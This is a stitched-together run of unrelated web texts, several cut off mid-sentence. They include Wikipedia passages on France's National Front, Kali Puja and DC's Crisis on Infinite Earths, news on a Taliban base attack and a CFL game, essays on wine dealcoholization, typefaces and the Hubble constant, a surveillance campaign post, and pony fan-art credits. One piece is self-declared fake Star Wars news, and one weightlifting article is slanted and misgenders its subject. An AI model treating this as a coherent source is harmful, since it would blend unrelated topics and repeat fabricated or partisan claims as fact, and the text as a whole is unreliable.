The National Front received 4,712,461 votes in the 2014 European Parliament election, finishing first with 24.86% of the vote and 24 of France's 74 seats.[169] "It was the first time the anti-immigrant, anti-EU party had won a nationwide election in its four-decade history."[170] The party's success came as a shock in France and the EU.[171][172]
Presidential and parliamentary election (2017–present) [ edit ]
On 24 April 2017, a day after the first round of the presidential election, Marine Le Pen announced that she would temporarily step down as the party's leader in an attempt to unite voters.[31] In the second round of voting, Le Pen was defeated 66.1% to 33.9% by her rival Emmanuel Macron of En Marche![173]
During the following parliamentary elections, the FN received 13.02% of the vote, which represented a disappointment compared to the 13.07% of the 2012 elections. The party has seemed to have suffered of the demobilization of its popular voters. However, 8 deputies were elected (6 FN and 2 affiliated), the best number for the FN in a parliamentary election using a majoritarian electoral system since its creation (proportional representation was used in the 1986 elections). Marine Le Pen was elected to the National Assembly for the first time and Gilbert Collard was re-elected. Ludovic Pajot became the youngest member of the current French parliament at 23.
In late 2017, Florian Philippot split from FN and formed The Patriots due to the FN weakening its position on leaving the EU and Euro.[174]
At the conclusion of the party congress in Lille on 11 March 2018, Marine Le Pen proposed renaming the party to Rassemblement national (National Rally), while keeping the flame as its logo. The new name was put to a vote of party members.[175] Rassemblement national had already been used as the name of a French party, the Rassemblement national français, led by the extreme-right lawyer Jean-Louis Tixier-Vignancour. His presidential campaign in 1965 was managed by Jean-Marie Le Pen.[176] The name had also been used by the FN previously, for its parliamentary group between 1986 and 1988. However, the name change faced opposition from an already-existing party named "Rassemblement national", whose president, Igor Kurek, described it as "Gaullist and republican right": the party had previously registered its name with the National Institute of Industrial Property in 2013.[177][178] On 1 June, Le Pen announced that the name change was approved by party adherents with 80.81% in favour.[179]
In January 2019, an Ex-Sarkozy minister Thierry Mariani and former conservative lawmaker Jean-Paul Garraud left the Les Republicains (LR) joining National Rally.[180]
Political profile [ edit ]
The party's ideology has been broadly described by scholars such as Shields as nationalist
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wine consumers are going to find off-putting (one option, acetoin, smells like rancid butter). Multi-step manipulations can eventually convert those icky-smelling chemicals into something innocuous, but the process ends up being more complicated and therefore harder to perfect source. A completely different problem is that these yeasts are genetically modified organisms (GMOs), and the use of GMO’s in winemaking raises some pretty heated hullaballoo from winemakers and consumers alike. Questions about GMO’s and issues with those troublesome, smelly byproducts are both reasons why none of these yeasts is yet on the market.
By the way, it’s a myth that wine yeast can’t ferment past 15% or 16% alcohol because they die of alcohol poisoning. In the era before commercial wine yeast, the wild yeasts that were, by default, responsible for fermentation hadn’t been specially selected for alcohol tolerance and might cop out at 14%. But commercial wine yeasts have been both selected and engineered for exactly that quality. Lallemand, a major Montréal-based yeast company, sells multiple yeast varieties with alcohol tolerances of 18% and even “18+.”
Removing alcohol during fermentation
It is, in theory, possible to remove alcohol during fermentation so that the yeast have a lower alcohol burden and ferment more efficiently, and so that the finished product contains less alcohol. Right now, though, the process remains in R&D; it still removes too many flavor compounds along with the alcohol to be commercially tenable.
It’s also possible to remove sugar from the must before initiating fermentation by using an enzyme called glucose oxidase (obtained from a mold) to convert glucose to gluconic acid, which yeast won’t ferment into alcohol. This method isn’t much used, though, because all of that extra gluconic acid can make the finished wine unpleasantly acidic source.
There are other ways of removing alcohol – dialysis (more membranes), freeze concentration (the same principle we all experienced as kids when our frozen juice boxes tasted weirdly watery at first and really concentrated at the end as it melted down), liquid CO 2 extraction (neat, but expensive) – but for the time being, reverse osmosis and spinning cone columns are doing most of the work.
Reverse osmosis and spinning cone columns are by far the two most practical options for lowering alcohol levels (at least for large wineries.) It’s even possible for wineries to dealcoholize on-site, at the winery, if they’re approved as a “distilled spirits plant,” though the option is expensive enough that few wineries exercise it. Still, as I mentioned earlier, folks aren’t exactly shouting the good news from the rooftops. On the contrary, the rhetoric on Vinovation’s and Conetech’s websites suggests that they’re trying to make an unpleasant thing seem more pleasant. The marketing language on the Conetech website is pretty off-putting to this wine lover, with their contrast between the company’s “New Generation” wines and “conventional wines” known to the rest of the world, incidentally, as “wine.” The website for Vinovation, based in Sebastapol, does something similar; instead of offering dealcoholization services, they advertise “alcohol fine-tuning.” And Conetech – based in Santa Rosa and with “alcohol adjustment centers” in California, Spain, France, South Africa, and soon Australia – bills themselves as “the world leader in wine alcohol adjustment and flavor management” which “has also helped pioneer a whole ‘New Generation’ of lighter style wines.”
What dealcing does to wine quality is a tough question, since removing alcohol changes the character of a wine all by itself. Winemakers who object to dealcoholization argue that the extra processing step strips wine of its terroir, that je ne sais quoi that gives wine its charm (or so its supporters say.) It’s fair game to claim that the high alcohol itself is part of a wine’s terroir, since those alcohol levels say something about the local grape growing conditions. Multiple scientific studies show that all of the processing methods that involve taking something out of the wine inevitably take out flavor molecules along with the alcohol. And, evidence of flavor changes or no, the idea of “processing” wine is itself repulsive to plenty of winemakers and consumers; the “natural wine” movement is testament to that.
In the end, asking what you think about dealcing is much the same as asking whether you think that wine is an industrial food product or whether wine is art. If wine is just another food product, than all of these plastic membranes and metal cones aren’t a problem (tour a food factory sometime if you think the words “plastic” and “metal” don’t sound good next to “food”). But if wine is an art, if you really believe in that sunburnt vintner, then maybe there’s something wrong going on here. For myself, I’m happy to divide wine into the $8 mega-winery product I might open on a random Tuesday and the boutique bottle with a story and a sense of character. In my mind, those two bottles are so different from each other that they shouldn’t really share the same name (maybe “processed wine food,” the same way we call Kraft American slices “processed cheese food?”) Whether the mythical “everyone else” makes the same distinction might say a lot about how the dealcing industry will fare in the future. If anyone ever finds out about it, that is.Mazar-I-Sharif/Kabul: As many as 140 Afghan soldiers were killed on Friday by Taliban attackers apparently disguised in military uniforms in what would be the deadliest attack ever on an Afghan military base, officials said.
The Defence Ministry said the toll was “over 100" Afghan soldiers killed and wounded.
One official in the northern city of Mazar-i-Sharif, where the attack occurred, said on Saturday at least 140 soldiers were killed and many others wounded. Other officials said the toll was likely to be even higher.
The officials spoke on the condition of anonymity because the government has yet to release exact casualty figures.
The attack starkly highlighted the struggle by the Afghan government and its international backers to defeat a potent Taliban insurgency that has gripped Afghanistan for more than a decade.
A US official in Washington on Friday had put the toll at more than 50 killed and wounded.
As many as 10 Taliban fighters, dressed in Afghan army uniforms and driving military vehicles, made their way onto the base and opened fire on mostly unarmed soldiers eating a meal and leaving a mosque after Friday prayers, according to officials.
The attackers used rocket-propelled grenades and rifles, and several detonated suicide vests packed with explosive, they said.
Witnesses described a scene of confusion as soldiers were uncertain who the attackers were.
“It was a chaotic scene and I didn’t know what to do," said one army officer wounded in the attack. “There was gunfire and explosions everywhere."
The base is the headquarters for the Afghan National Army’s 209th Corps, responsible for much of northern Afghanistan, including Kunduz province where there has been heavy fighting.
Taliban spokesman Zabihullah Mujahid said in a statement on Saturday the attack was retribution for the recent killing of several senior Taliban leaders in northern Afghanistan.
Four of the attackers were Taliban sympathisers who had infiltrated the army and served for some time, Mujahid said.
That claim has not been confirmed by the Afghan army.
The NATO-led military coalition deploys advisers to the base where the attack occurred to train and assist the Afghan forces but coalition officials said no international troops were involved in the attack.
“The attack on the 209th Corps today shows the barbaric nature of the Taliban," the commander of coalition forces, US General John Nicholson, said in a statement on Friday. ReutersHindu festival dedicated to the goddess Kali
Kali Puja Observed by Hindus Type Hindu Celebrations Fireworks Observances Prayers, Religious rituals (see puja, prashad) Date Decided by lunar calendar 2018 date 06 November 2019 date 27 October[1] Frequency annual
Kali Puja, also known as Shyama Puja or Mahanisha Puja,[2] is a festival, originating from the Indian subcontinent, dedicated to the Hindu goddess Kali, celebrated on the new moon day of the Hindu month Kartik especially in the Indian states of West Bengal, Bihar, Odisha, Assam, and titwala and the modern-day nation of Bangladesh.[3] It coincides with the rest-of-Indian Lakshmi Puja day of Diwali. While the Bengalis, Odias, Assamese and Maithils adore goddess Kali[3] on this day the rest of India worships goddess Lakshmi on Diwali. Mahanisha puja is performed by the Maithili people of Mithila region in India and Nepal.[4][page needed]
History [ edit ]
Artisan making an idol of goddess Kali at Kumortuli
The festival of Kali Puja is not an ancient one. Kali Puja was practically unknown before the 18th century; however, a late 17th-century devotional text Kalika mangalkavya –by Balram mentions an annual festival dedicated to Kali.[5] It was introduced in Bengal during the 18th century, by King (Raja) Krishnachandra of Navadvipa.[3] Kali Puja gained popularity in the 19th century, with Krishanachandra's grandson Ishvarchandra and the Bengali elite; wealthy landowners began patronizing the festival on a grand scale.[6] Along with Durga Puja, Kali Puja is the biggest festival in Bengal and Assam.[7]
Worship [ edit ]
Kali Puja (like Durga Puja) worshippers honour the goddess Kali in their homes in the form of clay sculptures and in pandals (temporary shrines or open pavilions). She is worshipped at night with Tantric rites and mantras. She is prescribed offerings of red hibiscus flowers, animal blood in a skull, sweets, rice and lentils, fish and meat. It is prescribed that a worshipper should meditate throughout the night until dawn.[8] Homes and pandals may also practice rites in the Brahmanical (mainstream Hindu-style, non-Tantric) tradition with ritual dressing of Kali in her form as Adya Shakti Kali and no animals are sacrificed. She is offered food and sweets made of rice, lentils and fruits.[9] However, in Tantric tradition, Animals are ritually sacrificed on Kali Puja day and offered to the goddess.[3] A celebration of Kali Puja in Kolkata, Bhubaneswar and in Guwahati is also held in a large cremation ground[10] where she is believed to dwell.
The pandals also house images of god Shiva - the consort of Kali, Ramakrishna and Bamakhepa- two famous Bengali Kali devotees along with scenes from mythology of Kali and her various forms along with Mahavidyas, sometimes considered as the "ten Kalis." The Mahavidyas is a group of ten Tantric goddesses headed by Kali.[11] People visit these pandals throughout the night. Kali Puja is also the time for magic shows and theatre, fireworks.[9] Recent custom has incorporated wine consumption.[12]
In the Kalighat Temple in Kolkata, Kalikhetra Temple in Bhubaneswar and in Kamakhya Temple in Guwahati, Kali is worshipped as Lakshmi on this day so as to reflect an essence of Vaishnava Haldars on Kali worship. Goddess Lakshmi is worshipped in her three forms, Maha Lakshmi, Maha Kali and Maha Saraswati on this day.The temple is visited by thousands of devotees who offer animal sacrifices to the goddess.[3][10] Another famous temple dedicated to Kali in Kolkata is Dakshineswar Kali Temple. The famous Kali devotee Ramakrishna was a priest at this temple. The celebrations have changed little from his time.[13]
Other celebrations [ edit ]
A child bursting firecracker in Bengal during Kali Puja
Although the widely popular annual Kali Puja celebration, also known as the Dipanwita Kali Puja, is celebrated on the new moon day of the month of Kartika, Kali is also worshipped in other new moon days too. Two other major Kali Puja observations are Ratanti Kali Puja and Phalaharini Kali Puja. Ratanti puja is celebrated on Magha Krishna Chaturdashi and Phalaharini puja is celebrated on Jyeshta Amavashya of Bengali calendar. The Phalaharini Kali Puja is specially important in the life of the saint Ramakrishna and his wife Sarada Devi, since on this day in 1872, Ramakrishna worshipped Sarada Devi as the goddess Shodashi.[14] In many Bengali and Assamese households, Kali is worshipped daily.[15]
Notes [ edit ]
References [ edit ]
Further reading [ edit ]CHICAGO, ILLINOIS — After last week’s news of Alden Ehrenreich being cast as our favorite smuggler in the Han Solo spin-off film, new details have come to light regarding the film as a whole. A source who personally knows George Lucas has some information that will sincerely make you excited for this movie. Our source Hyun-Shik Seoul-Oh ran into Jacen’s cousin Bryan Bennink, who manages our Orland Park, IL branch, at the “Save the Lucas Museum” protest on May the Fourth and agreed to come to our office to chat the next day.
After buying the entire office Chick-Fil-A for lunch, Seoul-Oh sat down with Bennink to discuss the Han Solo film. Seoul-Oh, a close friend of Lucas’ son Jett, and now a dedicated Disney Studios employee shared this information over sandwiches, waffle fries, and fruit salad.
Regarding the casting of Alden Ehrenreich, Mr. Lucas, and the script:
“So Alden [Ehrenreich] is great. I was present for his audition and I can tell you, he will make everyone want a Han trilogy. I’m not sh*ting you, Bennink, you guys will fall in love with Han Solo all over again. I also read some of the script. The Kasdan boys have knocked it out of the park. Johnny and Larry are really the dynamic duo. They took George’s outline and turned it into a masterpiece. No dull moments. No shoehorned romance subplot. The script is amazing and may even rival Empire [Strikes Back].”
After a few “Darth Maultinis” with Seoul-Oh, we were able to get some plot info:
“If you’ve ever read [Timothy] Zahn’s novel Scoundrels you will know the basic plot for Han Solo but some other EU crap will be added in to appease fans such as things from Ann Crispin’s Han Solo Trilogy. It will be like Smokey and the Bandit and Ocean’s Eleven rolled into one… but in space! Basically Han and some other characters are working for a certain washed up podracing alien, and they are hired by a businessman to retrieve an object of high value but a rival gang is also after it. We will see Han meet Chewbacca for the first time and the Kessell Run take place. Trust me when I say this movie will be f*cking balls to the wall. There will be booze, babes, gambling, racing, fist fights, shootouts. A man’s man movie… but in space! My favorite part is when Han straight up dukes it out with Boba Fett. It’s badass.”
Before Seoul-Oh got too drunk and was sent home in a cab, he informed us of the likely cast for the film, which we will reveal later once we double check with him that it’s okay to run. As always, stay tuned to FakingStarWars.net for the latest made up news from a made up galaxy far, far away. We’re also on Twitter, Facebook, Instagram, Tumblr, Pinterest, and even Miitomo!
–Voxx
Please follow and like Faking Star Wars:It was like adding injury to insult.
How can a Canadian Football League injury spotter see a helmet-to-helmet hit and pull a player out of the game to undergo concussion protocol without an accompanying penalty flag from the on-field officials?
The Edmonton Eskimos were left asking the same thing Saturday, following a 25-22 loss to the Calgary Stampeders in the Labour Day rematch at Commonwealth Stadium.
“How are you going to take me out of the game for a hit to the head and there’s no flag on it? That’s my question,” said Reilly, who was hit by Stampeders defensive end Ja’Gared Davis on the play. “You take me out when we’re driving in the red zone at an important part of the game? I don’t know what else to say about it.
“I appreciate the safety concerns, I mean, it felt like a high hit to me.”
And in a rivalry game separated by three points in the end, where leaving Edmonton’s starting quarterback on the field to finish that third-quarter drive may have meant the difference between tying the game on a field goal, or taking the lead with a touchdown.
Instead, he was whisked off to the sidelines to answer doctors’ questions and forced to remain out for at least three plays regardless.
“I’m not saying that changed the outcome of the game,” said Reilly, who completed 37 of 47 for 461 yards, a touchdown and an interception in Edmonton’s fourth straight loss since starting out 7-0. “James (Franklin) went in and James is a guy we have a ton of confidence in, but it was frustrating because there is nothing you can do about it.
“I flipped over immediately when I hit the ground and I was looking at the ref, asking him, ‘Why are we not getting a roughing-the-passer flag here?’ And then hopped up immediately and ran over to the line because we were going to run the sneak, and then I’m getting told that I have to come out of the game.
“If the hit was so concerning that I would have to come out of the game, I would think that it would probably be deemed a roughing-the-passer hit, but I don’t know.”
And neither did Eskimos head coach Jason Maas.
“I don’t know what (the spotter) saw but in the year and a half I coached Mike, I’ve seen him take tons of hits,” Maas said. “We have an award, he gets something every year, which is called the Toughest in the League award. Toughest in the league, and he takes one hit and the guy thinks he’s got a concussion, takes him out in the red zone?
“That’s what our league is about, protecting our players. I’m grateful for that. They decided to take him out. Our doctors, right when he came off the field, knew he was fine but yet he had to be out for three plays. That’s the rules and we had to abide by them.”
But they don’t have to like them. Especially when they are being called arbitrarily on the same infraction.
“I would suppose if you got hit, a hit that would cause you to go out of the game, so I’m assuming your head got rung, and usually when your head gets rung it’s usually by a hit to the head, unless you hit the ground,” Maas said. “I don’t know, I didn’t even really see the play to be quite honest with you. Again, I guess our league is about safety, but when a player doesn’t stay on the ground, he gets right back up and he’s in the red zone and somebody in Toronto wants to make the assumption that he’s hurt, and our doctors look at him as soon as he walks off the field and, knowing Mike Reilly better than anybody knows him, and can do all the (concussion protocol-related) things within a play or two, why does he have to be out three plays?
“That would be my question if he’s not the one staying down and a spotter’s telling him to go out. But that’s our league rule right now and I’m not questioning it, I love the CFL, I don’t want to get fined for anything I’m about to say. But at the same time, sometimes circumstances come up in games where you can start questioning things that are being done in our league.
“That was someone else’s judgement and it happened to be in a critical moment in a game for us, in the red zone area, so obviously, I don’t agree with it because I know Mike Reilly and I watch him get up after every single hit because he’s the toughest quarterback in our league. There ain’t no doubt about that.
“So to take him out of a play like that when he’s not wobbly and he’s not staying on the ground, it’s a judgment call by somebody and, in my opinion, it wasn’t the right call. But somebody made it.”
Email: [email protected]
On Twitter: @GerryModdejonge| Ed Johnson-Williams
Don't Spy On Us - Help get the word out!
On Tuesday, internet users all over the world are standing up to say no to GCHQ and the NSA's mass surveillance. Over the last eight months we've heard plenty about how intelligence agencies monitor us on the Internet.
Our surveillance laws have let the intelligence agencies extend their reach deep into our private lives.
Tuesday 11th February is The Day We Fight Back.
As part of this global day of action against mass surveillance, Open Rights Group, Liberty, English PEN, Privacy International, Article 19 and Big Brother Watch are coming together to launch Don't Spy on Us.
On Tuesday, we'll be launching Don't Spy On Us and calling for:
an independent inquiry into UK surveillance to report before the General Election
a new law that will fundamentally reform the way GCHQ carries out mass surveillance
In the meantime, could you promise to send a Tweet or post a Facebook status on Tuesday to help get the word out about the Don't Spy On Us campaign? If enough people make that promise, we'll be able to make Don't Spy On Us appear on social media timelines around the country and the world.
It only takes a minute. Take action here.
Open Rights Group and the other campaign groups working with us on the Don't Spy On Us campaign were integral to getting last year's Snoopers Charter blocked. But after the Snowden revelations, we know that the challenge of stopping GCHQ's mass surveillance is much greater.
Hundreds of people tweeting and posting Facebook statuses at once on Tuesday will really help grab lots of people's attention - people who don't always pay attention to privacy concerns and mass surveillance.
We're relying on all our supporters to spread the word about the campaign and build the pressure on the decisions-makers in Government.
Pledge now to send a Tweet or post a Facebook status on Tuesday morning!
Image by the Ministry of Defence under the Open Government Licence v1.0A top male-to-female transgender weightlifter in New Zealand says he has no physical advantages over the women he beats in competitions.
Speaking to Newshub on Friday, decorated weightlifter Laurel Hubbard, who "transitioned" to female four years ago, said there's no "fundamental" difference between a biological male and his female competitors, and to suggest otherwise would be "disrespectful" to the women Hubbard defeats in said competitions.
"But some of her rivals' coaching staff have publicly questioned whether she has an unfair psychological advantage, having previously lifted heavier weights as a man," reported Newshub.
Hubbard replied, "Look, I've heard that and I think it's incredibly disrespectful to the other competitors."
"I don't believe there is any fundamental difference between me and the other athletes, and to suggest there is is slightly demeaning to them," Hubbard added.
As noted by Reuters, Hubbard, 39, recently took home two silvers in the women’s World Weightlifting Championships, placing behind only Sarah Robles, an American.
"He met requirements set by the International Weightlifting Federation and International Olympic Committee to compete as a woman, given that he met the testosterone level threshold 12 months prior to competition," notes The Daily Caller. "Hubbard competed as a woman at the World Masters Games in Auckland, New Zealand, in April and also became the first transgender to represent New Zealand in a weightlifting competition at the 2017 Australasian Championships in March, where Hubbard won gold."
The weightlifting champ said he doesn't let the social media "trolling" get to him.
"I think, as an athlete, you have to try to shut it out, because it just adds to the weight on the barbell," said the gold medalist.
But, of course, many still recognize the "fundamental" advantage a genetic male has over his female competitors. Australian Weightlifting Federation (AFW) chief executive Michael Keelan argued that there's even a psychological advantage.
“We’re in a power sport which is normally related to masculine tendencies … where you’ve got that aggression, you’ve got the right hormones, then you can lift bigger weights,” said Keelan. “If you’ve been a male and you’ve lifted certain weights, then you suddenly transition to a female, psychologically you know you’ve lifted those weights before.”
Hubbard was formally a men's weightlifting champ pre-transition.Play 01:51 Play 01:51 SA bowling coach Langeveldt impressed with fast-bowling reserves
Pace, precision and a penchant for plucking wickets would ordinarily lead to a Test debut, but 20-year old Kagiso Rabada may have to wait just a little while longer to wear the whites. Rabada is part of South Africa's squad in all three formats for the upcoming tour of India, but remains a reserve in the Test ranks for now.
"We're winning Test matches at the moment, so it's going to be hard for Kagiso to get into the side and India is going to be even harder because we might even play two spinners," Charl Langeveldt, South Africa's bowling coach, said at a training camp for the Johannesburg-based bowlers. "We've got three seam bowlers that have done well for South Africa for a number of years now but if an injury comes along then you never know."
That means Dale Steyn, Vernon Philander and Morne Morkel remain South Africa's first choice, but this will be the first time they bowl as a trio in India. The trio first came together in November 2011 and have since toured other parts of the sub-continent such as Sri Lanka where Steyn, in particular, was impressive. Langeveldt expects nothing less even in India.
"Our fast bowling attack is still key. Steyn bowls well with the ball reversing and with the new ball; although it's an SG ball, he does bowl well and he gets the ball to reverse," Langeveldt said.
Where Langeveldt expects things to be different is with Philander, who could move from a frontline attacking bowler to the last line of defence.
"When Vernon bowled in Bangladesh, he was was one of our best bowlers. He made guys play a lot more than others," Langeveldt explained. "If he can strike with the new ball in India, that's key for us. He brings that consistency to our attack and he can keep the run rate down. He went for about one-and-a-half runs an over in Bangladesh recently.
"He didn't get the results but if you talk about keeping the run-rate down and creating pressure from one end while the spinner is attacking from the other end, he can do that."
A strategy where Philander is used as a container could also mean a return for Imran Tahir as the specialist spinner ahead of Simon Harmer and Dane Piedt, both offspinners. That move could further confine Rabada to the bench, where Langeveldt said he will learn what's expected of him when he makes the step up.
"I will make sure he is prepared so if the opportunity does come he is ready to play. I can't say when he's going to play, it's out of my control, it's out of his control, all he can control is that he will be ready."
Part of the preparation will involve the study of reverse swing, something Langeveldt believes Rabada can master. "KG has got a good wrist position so the ball will reverse for him as well," he said.
"It's all about looking after the ball. That's the key to teach him now: to prepare the ball, to look to shine, even throwing from the boundary, those are the things we will discuss. Everyone knows how to prepare the ball for when it does reverse, or when it is reversing or how to get it to reverse."
The more Rabada learns, the more the rest will have to look over their shoulder, which is exactly what Langeveldt wants. Already, Rabada is holding down a fairly regular place in South Africa's limited-overs sides and with time, he is expected to challenge for a Test spot.
"You want a battery of bowlers who are competing. When you've got guys competing for the same spot, everyone will lift their game - a senior player will lift his game," Langeveldt said, while warning his bowlers that no one is safe. "I just don't want to say he is going to play and that's it. You have to earn your rights to play for South Africa, and I am a big fan of competition."
Firdose Moonda is ESPNcricinfo's South Africa correspondent
© ESPN Sports Media Ltd.#1 of 3#2 Unicorns are Best Pony: [link] #3 Earth Ponies are Best Pony: Coming Soon!Credits: - Blossomforth (Hair = Twi?) - Cloudchaser & Flitter hugging (Ship, Sisters, or BFFs?) - Derpy (Hooves or Doo?) - Buff pony (Horse Power?)Also made Scootaloo (You get double points sir!) - Featherweight (HE'S SO TINY) - Fluttershy (Totally gonna use this later) - Lightning Bolt (Posing like RD) - Rainbow Dash (Quit being awesome RD...) Soarin' (HE'S NAKE-wait thats normal) - The ponies with goggles on (Cloud Kicker & Medley) - Thunderlane (THUNDERXBLOSSOM DO IT NOW) - Rumble AKA Thunderlane's lil' bro (BLANK FLANK) - Raindrops (WHAT IS SHE HIDING) - Pegasus banner (PEGASOPOLIS SHALL RISE AGAIN)WELL AFTER ALL THOSE CREDITS I FEEL USELESS. Still trying to learn how to vector myself....Elzevir faces: A lesson in durability
Defining a new serif face for screen use is a rather broad brief. Common wisdom has long suggested that serifs for screen reading underperform and should therefore occur with less frequency in good type libraries. Although their readability is in fact much higher than that of sans serifs, they’re traditionally viewed as fuzzy and archaic in screen-first environments. We decided that the time had come to reinvigorate the use of well-crafted serif typefaces online.
We began by probing history. For six centuries, France has enjoyed a tradition of high-performance designs for immersive reading. One of the most overlooked highlights of that tradition is the resurgence of Elzevir typefaces, which happened in France some forty years before everywhere else. The French Elzevir (sometimes also known as French Old Style) is a lesser-known genre in the Anglocentric type-design history of the late nineteenth and early twentieth century. The Elzevir typefaces mark one of the first attempts to recreate a new modernity, at a time when another modern style (Didone) prevailed. Across France, countless punchcutters soon began exploring Old Style types as text faces. Naming conventions were sloppy, but the shapes were specific: A serif looking back at the Renaissance, but polished and honed to work hard for neat reproduction on the new and shiny paper surfaces of the time. From the late 1880s onwards, these early revivals soon shed their bibliophile status to emerge as broadly useful text typefaces. Only decades later did this trend catch on globally, with Monotype’s comprehensive and well-advertised revival program. In the meantime, the stars of French typeface design in the period—including Pierre Jannet and Maurice Ollière—enjoyed success but eventually fell out of favor.
While deeply rooted in French type design history, Spectral tends to reject the idea of any country-specific flavor—much in the same way that Elzevir typefaces have always represented a cross-current of western influences from Italy, France, the Netherlands, Germany, and the United States. From fifteenth-century France to sixteenth-century Holland and back to nineteenth-century France, the underlying concept of these Elzevir typefaces still makes sense in 2017. Our design takes material that succeeded in the past and puts it to use in the present.Crisis on Infinite Earths is an American comic book published by DC Comics. The story, written by Marv Wolfman and pencilled by George Pérez, was first serialized as a twelve-issue maxiseries from April 1985 to March 1986. As the main piece of a crossover event, some plot elements were featured in tie-in issues of other DC publications. Since its initial publication, the series has been reprinted in various formats and editions.
The idea for the series stemmed from Wolfman's desire to abandon the DC Multiverse seen in the company's comics—which he thought was unfriendly to readers—and create a single, unified DC Universe (DCU). The foundation of Crisis on Infinite Earths developed through a character (the Monitor) introduced in Wolfman's The New Teen Titans in July 1982 before the series itself started. Pérez was not the intended artist for the series, but was excited when he learned of it and called illustrating it some of the most fun he ever had.
At the start of Crisis on Infinite Earths, the Anti-Monitor (the Monitor's evil counterpart) is unleashed on the DC Multiverse and begins to destroy the various Earths that it comprises. The Monitor tries to recruit heroes from around the Multiverse but is murdered, while Brainiac collaborates with the villains to conquer the remaining Earths. However, both the heroes and villains are eventually united by the Spectre; the series concludes with Kal-L, Superboy-Prime, and Alexander Luthor Jr. defeating the Anti-Monitor and the creation of a single Earth in place of the Multiverse. Crisis on Infinite Earths is infamous for its high death count; hundreds of characters died, including DC icons such as Supergirl and Barry Allen.
The series was a bestseller for DC and has been reviewed positively by comic book critics, who praised its ambition and dramatic events. The story is credited with popularizing the idea of a large-scale crossover in comics, and its events caused the entire DCU to be rebooted. Crisis on Infinite Earths is the first installment in what became known as the Crisis trilogy; it was followed by Geoff Johns's Infinite Crisis (2005–2006) and Grant Morrison's Final Crisis (2008–2009). The story will serve as inspiration for "Crisis on Infinite Earths", the 2019 Arrowverse crossover.
Publication history [ edit ]
Background [ edit ]
DC Comics is an American comic book publisher best known for its superhero stories featuring characters including Batman, Superman, and Wonder Woman.[1] The company debuted in February 1935 with New Fun: The Big Comic Magazine.[2] Most of DC's comic books (as well as some published under its imprints Vertigo[3] and Young Animal[4]) take place within a shared universe called the DC Universe (DCU), allowing plot elements, characters, and settings to crossover with each other.[5] The concept of the DCU has provided DC's writers some challenges in maintaining continuity, due to conflicting events within different comics that need to reflect the shared nature of the universe.[2] "The Flash of Two Worlds" from The Flash #123 (September 1961), which featured Barry Allen (the Silver Age Flash) teaming up with Jay Garrick (the Golden Age Flash), was the first DC comic to suggest that the DCU was a part of a multiverse.[6][7]
The DC Multiverse concept was expanded in later years with the DCU having infinite Earths. For example, the Golden Age versions of DC heroes resided on Earth-Two, while DC's Silver Age heroes were from Earth-One.[8] Since "Crisis on Earth-One!" (1963), DC has used the word "Crisis" to describe important crossovers within the DC Multiverse.[9] Over the years, various writers took liberties creating additional parallel Earths as plot devices and to house characters DC had acquired from other companies, making the DC Multiverse a "convoluted mess".[8] DC's comic book sales were also far below those of their competitor Marvel Comics.[10] According to ComicsAlliance journalist Chris Sims, "the multiverse... felt old-fashioned, conjuring up images of 'imaginary stories' and characters that DC acquired when they bought out Golden Age competitors and shuttled off to their own universes. Marvel, on the other hand, felt contemporary... and when you stack them up against each other, there's one difference that sticks out above anything else: Marvel feels unified".[11]
During the Bronze Age of Comic Books, writer Marv Wolfman became popular among DC's readers for his work on Weird War Tales and The New Teen Titans.[8] George Pérez, who illustrated The New Teen Titans, also began to rise to prominence in this era.[12] In 1984, Pérez entered into an exclusive contract with DC, which was later extended one year.[13] Although The New Teen Titans was a major success for DC,[8] the company's comic book sales were still below Marvel's.[10] Wolfman began to attribute this to the DC Multiverse, feeling "The Flash of Two Worlds" had created a "nightmare":[2] it was not reader-friendly for new readers to be able to keep track of[14] and writers struggled with the continuity errors it caused.[2] In The New Teen Titans #21 (July 1982), Wolfman introduced a new character: the shadowy, potentially villainous Monitor; this laid the foundation for Crisis on Infinite Earths.[15]
Development [ edit ]
Crisis on Infinite Earths, in 2007 Marv Wolfman, the author of, in 2007
In 1981, Wolfman was editing Green Lantern. He got a letter from a fan asking why a character did not recognize Green Lantern in a recent issue despite the two having
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into galaxy clusters. The patterning of galaxies on the sky should preserve the original dimensions of the sound waves, and as before, comparing the apparent scale of the pattern to its calculated actual size leads to a distance. Like the CMB technique, the BAO method makes cosmological assumptions. But over the past few years, it has been yielding Hubble constant values in line with Planck's. The ongoing fourth iteration of the Sloan Digital Sky Survey, a vast galaxy mapping effort, should help refine these measurements.
That's not to say that the bickering distance ladder and CMB teams are simply waiting for other methods to settle the dispute. To firm up the foundation of the distance ladder, the distances to cepheids in the Milky Way, ESA's Gaia mission is trying to find precise distances to about a billion different nearby stars, cepheids included. Gaia, in orbit around the sun beyond Earth, uses the surest of all measures: parallax, or the apparent shift of the stars against the background sky, as the spacecraft swings to opposite sides of its orbit. When Gaia's full data set is released in 2022, it should provide another leap forward in certainty for the astronomers. (Already, Riess has found that his higher Hubble constant persists when he uses the preliminary Gaia results.)
The cosmologists expect to firm up their measurements, too, using the Atacama Cosmology Telescope in Chile and the South Pole Telescope, which can check Planck's high-resolution results. "It's not going to remain ambiguous," says Lyman Page, an astrophysicist at Princeton University. And if the divergent results prove rock solid, it will be up to the theorists to try to close the gap. "The gold is where the model breaks down," Page says. "Confirming the model is—blah."
One fix is to add an extra particle to the standard model of the universe. The CMB offers an estimate of the overall energy budget of the universe soon after the big bang, when it was divided into matter and high-energy radiation. Because of Albert Einstein's famous equivalence E=mc2, energy acted like matter, slowing the expansion of space with its gravity. But matter is a more effective brake. As time passed, radiation—photons of light and other lightweight particles like neutrinos—cooled and lost energy, diluting its gravitational influence.
There are currently three known kinds of neutrinos. If there were a fourth, as some theorists have speculated, it would have claimed a little more of the universe's initial energy budget for the radiation side, which would dissipate faster. That, in turn, would mean an early universe that expanded faster than the one predicted by standard cosmology's list of ingredients. Fast-forwarding that adjustment into the present brings the two measurements in line. Yet neutrino detectors haven't turned up any evidence for a fourth kind, and other Planck measurements put a tight cap on the total amount of surplus radiation.
Another possible fix is so-called phantom dark energy. Current cosmological models assume a constant strength for dark energy. If dark energy becomes slightly stronger over time, though, it would explain why the cosmos is expanding faster today than one might guess from looking at the early universe. But critics like Hiranya Peiris, a Planck astrophysicist based at University College London, says variable dark energy seems "ad hoc and contrived." And her work suggests that new neutrino physics doesn't work either. Right now, she says, flaws in the different techniques are more likely than new physics.
